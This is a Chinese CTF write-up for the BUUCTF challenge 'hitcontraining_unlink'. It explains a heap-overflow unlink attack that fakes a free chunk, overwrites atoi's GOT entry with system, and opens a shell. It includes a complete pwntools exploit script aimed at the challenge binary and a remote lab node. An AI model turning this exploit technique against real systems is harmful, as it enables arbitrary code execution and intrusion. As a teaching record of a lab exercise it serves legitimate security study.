[BUUCTF]hitcontraining_unlink

unlink的题做的真的少,得好好补一下,这题本不应该花太多时间的,在一个误区走入了歧途。

check:
file

这题靶机是ubuntu16,libc应该是2.24的。漏洞点在change函数里面,输入的size没有check,造成溢出漏洞,另外这题还给了catflag函数。初步思路就是用unlink写__free(malloc)_hook,去调用magic函数。

file

file

后面在泄露libc的过程中发现,根本不用泄露,又没开PIE,每次写入字符后都会在末尾加 0x00,溢出泄露不出来。

就按固定地址来打,itemlist:0x6020c0
file

步骤:

一、创建三个chunk

add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
add(0x10,'cccc')#2

edit(0,0x500,(p64(0)+p64(0x80)+p64(itemlist-0x10)+p64(itemlist-0x8)).ljust(0x80,b'\x00')+p64(0x80)+p64(0x90))

从chunk0溢出将 fd、bk 位置分别写为 chunk0_ptr + 0x18、chunk_ptr + 0x10,再溢出到chunk1,写入 prev_size 为 0x80,size 为 0x90。伪造 chunk0 处于 free 状态。

file

二、free 掉 chunk1 导致其与 chunk0 合并,触发 unlink 导致 chunk0_ptr 被改成了上面所写的 chunk0_ptr + 0x18。这里还要提一下的是 fd(bk) 指向上(下)一个 free chunk 的 prev_size 位置。

FD_bk -> chunk0_prev_size
file

BK_fd -> chunk0_prev_size
file

三、将 chunk0_ptr 改为 atoi 的 got,至于为什么用 atoi 呢,是因为题目里存在 atoi(&buf) 的调用,可以将 atoi 改为 system 然后传 '/bin/sh' 的参数。

edit(0,0x500,p64(0)*3+p64(atoi))

file

四、到这里要插一下,因为要泄露 libc 才能拿到 system 的地址,所以要先输出一下 atoi 的 got。

show()
atoi=uu64()
lg('atoi',atoi)

libc_base=atoi-libc.symbols['atoi']
system=libc_base+libc.symbols['system']
lg('system',system)

五、将 system 地址写入 atoi 的 got 地址。

edit(0,0x500,p64(system))

exp

#coding:utf-8
from pwn import *

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64    = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

test = 1
if test == 1 :
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn',26458)

elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level ='debug'

def add(size,name):
    sla('Your choice:',str(2))
    sla('length of item name:',str(size))
    sa('name of item',name)

def free(idx):
    sla('Your choice:',str(4))
    sla('index of item:',str(idx))

def edit(idx,size,name):
    sla('Your choice:',str(3))
    sla('index of item:',str(idx))
    sla('length of item name:',str(size))
    sa('name of the item',name)

def show():
    sla('Your choice:',str(1))

itemlist=0x6020c0
catflag=0x400D49
free_got=elf.got['free']
atoi=elf.got['atoi']

add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
add(0x10,'cccc')#2

edit(0,0x500,(p64(0)+p64(0x80)+p64(itemlist-0x10)+p64(itemlist-0x8)).ljust(0x80,b'\x00')+p64(0x80)+p64(0x90))
free(1)
edit(0,0x500,p64(0)*3+p64(atoi))

show()
atoi=uu64()
lg('atoi',atoi)

libc_base=atoi-libc.symbols['atoi']
system=libc_base+libc.symbols['system']

lg('system',system)
edit(0,0x500,p64(system))

sla('Your choice:',b'/bin/sh\x00')
p.interactive()

file

好下面谈我哪里误入歧途:
题目给的那个getflag函数根本用不成,后来用打进去发现flag根本就不在那个路径下,题目也没说,仅有利用 atoi 时给我的回显是这样的,其它尝试均以未知异常退出,坑了我好久。

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据